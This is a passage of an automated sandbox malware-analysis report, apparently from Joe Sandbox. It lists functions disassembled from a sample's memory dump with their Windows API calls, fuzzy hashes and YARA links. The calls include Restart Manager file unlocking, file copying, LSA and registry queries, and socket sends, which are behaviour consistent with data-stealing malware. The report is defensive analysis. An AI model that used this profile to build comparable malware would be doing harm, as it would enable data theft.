Instruction Fuzzy Hash: 23B1AC71D08348DFEB10DBA4CC49BADBBB1FB48714F204259E454AB2E2D7B49D84DB91

Function 0080E140 Relevance: 17.4, APIs: 11, Instructions: 889
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BB8E0: CreateDirectoryA.KERNEL32(?,00000000), ref: 007BBA08

CreateDirectoryA.KERNEL32(?,00000000), ref: 0080E242
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0080E3D3
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0080E4C6
CreateDirectoryA.KERNEL32(?,00000000), ref: 0080E5BC
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 0080E808
CreateDirectoryA.KERNEL32(?,00000000), ref: 0080E986
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0080EB1D
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0080EC10

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 0080ED06

Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

CreateDirectoryA.KERNEL32(?,00000000), ref: 0080EDED
CreateDirectoryA.KERNEL32(?,00000000), ref: 0080F06D

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: 4bd86b7b3ce554b46938b14c8f8a674b44fa2be35d2c201f629c6b04eeaf9af6
Instruction ID: 52343cde77cfc393315eefcaeb6ed5223c7dba8d86a10b3844e3438ba12045fd
Opcode Fuzzy Hash: 4bd86b7b3ce554b46938b14c8f8a674b44fa2be35d2c201f629c6b04eeaf9af6
Instruction Fuzzy Hash: F9A201B0D052A8DBCB25DB64CD99BDDBBB4AB14304F0041EDD44AA7282EB345F88DF56

Function 00886BA0 Relevance: 15.2, APIs: 10, Instructions: 164
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,00000000), ref: 00886BD3
RmStartSession.RSTRTMGR(?,00000000,?), ref: 00886C50
RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 00886C91
RmGetList.RSTRTMGR(?,?,?,?,?), ref: 00886CB9
RmShutdown.RSTRTMGR(?,00000001,00000000), ref: 00886CDA
RmEndSession.RSTRTMGR(?), ref: 00886CF7
SetLastError.KERNEL32(00000000), ref: 00886CFE
CopyFileA.KERNEL32(?,?,00000000), ref: 00886D25
GetLastError.KERNEL32(?,?,00000000), ref: 00886D33
CopyFileA.KERNEL32(?,?,00000000), ref: 00886D47

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ErrorLast$CopyFileSession$ListRegisterResourcesShutdownStart
String ID:
API String ID: 304452573-0
Opcode ID: 84ce6e80f23351d7ead561eeac1a12f61220b1e2a88005eb6e7e1f56369fc5f1
Instruction ID: f9829af797c33b4b770de5e0efa313279a2b29446f8a96100502126e5ab900c6
Opcode Fuzzy Hash: 84ce6e80f23351d7ead561eeac1a12f61220b1e2a88005eb6e7e1f56369fc5f1
Instruction Fuzzy Hash: E4519D72D01209AFDB21DFA4DC45BEEBBB8FB04320F10426AE914B7290D7759A05CB91

Function 00894720 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 291
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegGetValueA.KERNEL32(80000002,?,?,0001FFFF,?,?,00000104), ref: 00894A70
GetComputerNameExA.KERNEL32(00000002,?,00000104), ref: 00894ADC
LsaOpenPolicy.ADVAPI32(00000000,00937684,00000001,?), ref: 00894B35
LsaQueryInformationPolicy.ADVAPI32(?,0000000C,?), ref: 00894B48
LsaFreeMemory.ADVAPI32(?), ref: 00894B76
LsaClose.ADVAPI32(?), ref: 00894B7F

Strings

;Yb., xrefs: 008949C7
%wZ, xrefs: 00894B65

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Policy$CloseComputerFreeInformationMemoryNameOpenQueryValue
String ID: %wZ$;Yb.
API String ID: 762890658-2876608990
Opcode ID: c9f1b24327f0d424c33f852f504f57ff77eb25460ce04b057d9fdd4ab65c584d
Instruction ID: eed465fd3245b86113b44967a9a3bb9a84f6d77105148cfd62894637258b8667
Opcode Fuzzy Hash: c9f1b24327f0d424c33f852f504f57ff77eb25460ce04b057d9fdd4ab65c584d
Instruction Fuzzy Hash: B7E1FFB4D0425A8BDB14CF98C986BEEBBB4FF08314F2041A9E949B7341D7705A85CFA5

Function 007F8910 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2fab51e9c0548308e25b8cb9789ca16b1a000455540b90acea0fe0ba8ee5c2
Instruction ID: c510b0a1ea282118064e54b831ae7cfac37d924f11c2569c65785b397e660736
Opcode Fuzzy Hash: 7d2fab51e9c0548308e25b8cb9789ca16b1a000455540b90acea0fe0ba8ee5c2
Instruction Fuzzy Hash: ADB1D2B0A0524DEFDB51DF98C885BBE7BB1AF45310F144298E6149B392CF789D41CB62

Function 007B9280 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll), ref: 007B96A6
GetProcAddress.KERNEL32(00000000,?), ref: 007B96B4
WSASend.WS2_32(?,?,00000001,?,00000000,00000000,00000000), ref: 007B96C9

Strings

Ws2_32.dll, xrefs: 007B969A

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: a4c825b5ca50ed2d5fd6d732bd3bf7bb3d8e83e3aa6c8b8b925e38d9ab57c945
Instruction ID: 74ae7f2c4f492056388febadd6c551e138a988ae0e50bdf15a2b0cf972d10b47
Opcode Fuzzy Hash: a4c825b5ca50ed2d5fd6d732bd3bf7bb3d8e83e3aa6c8b8b925e38d9ab57c945
Instruction Fuzzy Hash: F602DD70D04298DFDF25CFA8C8907EDBBB0FF59304F244289E5956B286D7781986CB92

Function 007B8F20 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll), ref: 007B91C8
GetProcAddress.KERNEL32(00000000,?), ref: 007B91D3
WSASend.WS2_32(?,?,00000001,?,00000000,00000000,00000000), ref: 007B91EC

Strings

Ws2_32.dll, xrefs: 007B91BF

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: e2f1cee124f348147973ee1ea7fa44b6eb58fdfb42aa6f7804ed6e09bea89f5c
Instruction ID: 2b0fb79db23b92a4ce1c2fc698490a647ed0a05bd7a4b9239b312b4bd415de5b
Opcode Fuzzy Hash: e2f1cee124f348147973ee1ea7fa44b6eb58fdfb42aa6f7804ed6e09bea89f5c
Instruction Fuzzy Hash: A6C15870E01218DFCB24DFA8C845BADBBB0BF08714F28815DEA55AB391D779AD01CB91

Function 00813830 Relevance: 6.9, APIs: 3, Instructions: 2365COMMON

Download Yara Rule

APIs

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

Part of subcall function 00896C10: CreateDirectoryA.KERNEL32(?,00000000,00000005), ref: 00896C55

CreateDirectoryA.KERNEL32(?,00000000), ref: 00815CB0
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 00815FD5

Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 00815EC6

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: cd2ecb97d169c9eb08e91efe5068a862d8f59e5ebc2b82d998dee789a3b59cd8
Instruction ID: 76d81159dea12b3349a1247236bfaa1d644f5091730f6d0c94cfc36c6bfd2c31
Opcode Fuzzy Hash: cd2ecb97d169c9eb08e91efe5068a862d8f59e5ebc2b82d998dee789a3b59cd8
Instruction Fuzzy Hash: 2453BAB0D052688BDB65DB64C894BEDBBB4BB58304F0041EEE44AA7252EB342F84CF55

Function 00896CA0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
GetLastError.KERNEL32(?,?,00810404), ref: 00896D07
std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 995686243-0
Opcode ID: 11a854f33893b004304c25643d056b416f695576f745034cc6bc5c4447528ecb
Instruction ID: b4310441158151b3b11459f0b17e8aeb904b0a49d909975e3b51ab031acaa184
Opcode Fuzzy Hash: 11a854f33893b004304c25643d056b416f695576f745034cc6bc5c4447528ecb
Instruction Fuzzy Hash: B9117D71A05245DBCF206F686C497687BA4F703724F284314E436DB6D5FB7748228A51

Function 00886790 Relevance: 4.8, APIs: 3, Instructions: 278fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,00000000), ref: 00886A20

Part of subcall function 00886BA0: GetLastError.KERNEL32(?,00000000), ref: 00886BD3
Part of subcall function 00886BA0: RmStartSession.RSTRTMGR(?,00000000,?), ref: 00886C50
Part of subcall function 00886BA0: RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 00886C91
Part of subcall function 00886BA0: RmGetList.RSTRTMGR(?,?,?,?,?), ref: 00886CB9

std::_Throw_Cpp_error.LIBCPMT ref: 00886B84
std::_Throw_Cpp_error.LIBCPMT ref: 00886B95

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CopyErrorFileLastListRegisterResourcesSessionStart
String ID:
API String ID: 663416093-0
Opcode ID: 1faef294e62f34635b190c85cc94061964f94e3cc6034849d5c89e4166175c44
Instruction ID: 6f834899f473491c9a1b3f67bb94e533a0013a8305c0f24d78ce795ea9a690f5
Opcode Fuzzy Hash: 1faef294e62f34635b190c85cc94061964f94e3cc6034849d5c89e4166175c44
Instruction Fuzzy Hash: 15D167B0D01249DBDB14DFA8C9457EEBBB0FF54314F248299D409B7282EB745A85CBA2

Function 00843B60 Relevance: 4.8, APIs: 3, Instructions: 264registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,00000001,?), ref: 00843D89
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,?), ref: 00843DAC
RegCloseKey.ADVAPI32(?), ref: 00843DB7

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 197b521a81eff22d86b157d783ff04fbe2a7970db39ed3191c2a9fd6c2367f61
Instruction ID: 7cda9b31563b8cb38308be12ec77f43310088833cdd38496ae958778e0fc0e99
Opcode Fuzzy Hash: 197b521a81eff22d86b157d783ff04fbe2a7970db39ed3191c2a9fd6c2367f61
Instruction Fuzzy Hash: C7C114B5D052499FDB14CFA8D986BAEBBB0FF08310F204169E505B7391DB355A84CFA2

Function 00896C10 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000,00000005), ref: 00896C55

Part of subcall function 007E2BAA: ReleaseSRWLockExclusive.KERNEL32(00896D30), ref: 007E2BBE

std::_Throw_Cpp_error.LIBCPMT ref: 00896C84
std::_Throw_Cpp_error.LIBCPMT ref: 00896C95

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateDirectoryExclusiveLockRelease
String ID:
API String ID: 1881651058-0
Opcode ID: b0bf57dd4d392935f12b7f25c3582fb121381f5d981545e84f62cc8f225a0181
Instruction ID: da4c07ee67a8c16bd817c58c1679332b12462340ebad37b0a459fa7c8bc134dd
Opcode Fuzzy Hash: b0bf57dd4d392935f12b7f25c3582fb121381f5d981545e84f62cc8f225a0181
Instruction Fuzzy Hash: 58F049B0506250EFC7109F599D0AB6977ACE705734F100359F835863D1EBB509118AA1

Function 007FB9D0 Relevance: 4.5, APIs: 3, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,007ED2B1,?), ref: 007FB9D8
GetLastError.KERNEL32(?,007ED2B1,?), ref: 007FB9E2
__dosmaperr.LIBCMT ref: 007FB9E9

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID:
API String ID: 1545401867-0
Opcode ID: 967b5048b23b4b2b272e3931708990d46f480f72999d34833a6779bc5593082c
Instruction ID: 5ca90cd8406148ad07ae39ab40949eaa2e5f0f10cbe2cae23298af029aedb889
Opcode Fuzzy Hash: 967b5048b23b4b2b272e3931708990d46f480f72999d34833a6779bc5593082c
Instruction Fuzzy Hash: 29D0123212910CBFDB006BF6FC0C9267B6C9BC13747540611F62CC52A0DF35D891A650

Function 007F35E9 Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00002589,?,007F35E3,00000000,007E8A63,?,00002589,01B0BD8E,007E8A63,00002589), ref: 007F35FA
TerminateProcess.KERNEL32(00000000,?,007F35E3,00000000,007E8A63,?,00002589,01B0BD8E,007E8A63,00002589), ref: 007F3601
ExitProcess.KERNEL32 ref: 007F3613

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a651002633e22346d92f4db812efdd59321b708968a6ef3221425a1c193a3aa7
Instruction ID: a7350f15c9734d9b826e160e963a96f931e91a49e59348db3534adf8c803e1e3
Opcode Fuzzy Hash: a651002633e22346d92f4db812efdd59321b708968a6ef3221425a1c193a3aa7
Instruction Fuzzy Hash: 98D09231019208BFCF053FA4DD0E96D3F2AAF40751B144010FA298A372CF3ADA92EA84

Function 008957F0 Relevance: 3.4, APIs: 2, Instructions: 350COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0089588F
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00895B9B

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: DirectoryInformationVolumeWindows
String ID:
API String ID: 3487004747-0
Opcode ID: 0dbf4bddfd36e194b870d3d0922838232cd7bdbaf43c4951e3c0195450122cb3
Instruction ID: a69de598c58cc552272b4ec45936f2b8605743a3ca99babdac452aae4cd5b315
Opcode Fuzzy Hash: 0dbf4bddfd36e194b870d3d0922838232cd7bdbaf43c4951e3c0195450122cb3
Instruction Fuzzy Hash: 7FF155B0D002498BDB15CFA8C995BEEBBB1FF08300F24425DE445BB281DB755A84CBA1

Function 007F9789 Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007F8E9F: GetConsoleOutputCP.KERNEL32(01B0BD8E,00000000,00000000,007ED0C7), ref: 007F8F02

WriteFile.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,?,00896E3C,?,007ECFE7,00896E3C,?,00929E10,00000010,007ED0C7), ref: 007F990E
GetLastError.KERNEL32(?,007ECFE7,00896E3C,?,00929E10,00000010,007ED0C7,00896E3C,?,00000000,?), ref: 007F9918

Memory Dump Source

